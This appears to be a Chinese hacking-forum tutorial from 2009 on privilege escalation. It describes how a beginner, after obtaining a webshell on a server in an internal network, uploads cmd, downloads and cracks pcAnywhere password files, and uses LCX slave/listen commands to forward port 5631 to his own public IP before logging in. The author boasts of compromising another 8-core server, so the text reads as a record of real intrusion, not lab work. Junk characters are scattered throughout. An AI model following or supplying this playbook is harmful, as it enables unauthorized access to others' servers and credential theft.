|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
% d( o7 }/ _* C Y. z! u# y& s* H
$ ^/ B' m5 Y( E7 _- D提权方法：pcanywhere+LCX3 r& F, ` D1 d' Q5 a
! L7 j3 m- T J获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
9 V4 A: z& z. [* x" C7 e( A2 k1 E" w1 K( A9 v1 ?1 g
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。" m% X1 M( q: Z# D) R
2 \+ T, ^+ w' w: D# ]0 i
9 T6 ^8 f& {; ]查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。( W# q" |3 y$ b! Z
$ j- A* L) {0 Y0 A
& ^+ w A/ |# q& n+ a呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
) A" B8 O- Q% k8 K2 k# L
. I" A! }9 E4 G. F- ?; _
/ b+ `6 j8 j* F' g* i; k/ p) k3 ~' ?2 C/ b+ W4 e5 J
3 [( v k U1 K1 V) i/ t- W
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
+ y3 n" g: e! i2 w5 Z: Z! u! W! ] f2 B: Q4 e1 u
: @6 _4 G2 Q: Y, s I9 |7 fLCX的用法再简单说下：3 N/ T8 |" {( r; ^- `6 k8 Z. k8 v
/ G2 X+ @ u+ k L1 C服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）5 R) {2 `0 P0 \* C- \0 e/ |. B
& H& \8 y- G4 h2 q: l# Q0 F本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）% a" M' f) ~" a6 }! e$ |! E1 w7 ]: c1 e
3 v3 J& ~! T/ n% f; x6 X由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
c( `) B2 k/ K& I: e( W! t顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
7 X& R( |- }+ {1 o* x2 D' `0 d' ]+ {9 r. s R
. [4 ^3 H2 K) j5 A( i
1 o7 f$ E: \8 p1 C' ~/ `9 Y2 K" W3 A9 R+ k7 H
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。, C3 N/ N: g2 L: _
2 M* M2 N; Z) V" D9 w& H& q/ ~* h1 Z4 K2 A9 `( @# C
' M' L) ?) Q0 A2 G. {: S# k& Z
: D! _8 s& o& X5 h我们本地连接试试，输入我们刚破解的账号密码3 Z$ N4 k1 M! @- j
) \- c* T6 r' ]7 I
" e# q/ }6 \/ ~3 |, n
呵呵``连接成功,服务器不错，又一个8核^︵^5 ~$ s' {0 b* b9 h9 [7 T: w! A$ u
! t, e4 b9 E7 g# r
4 g4 t0 n8 d3 R7 S! N
% N5 H8 Y' T3 U7 k2 v l |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
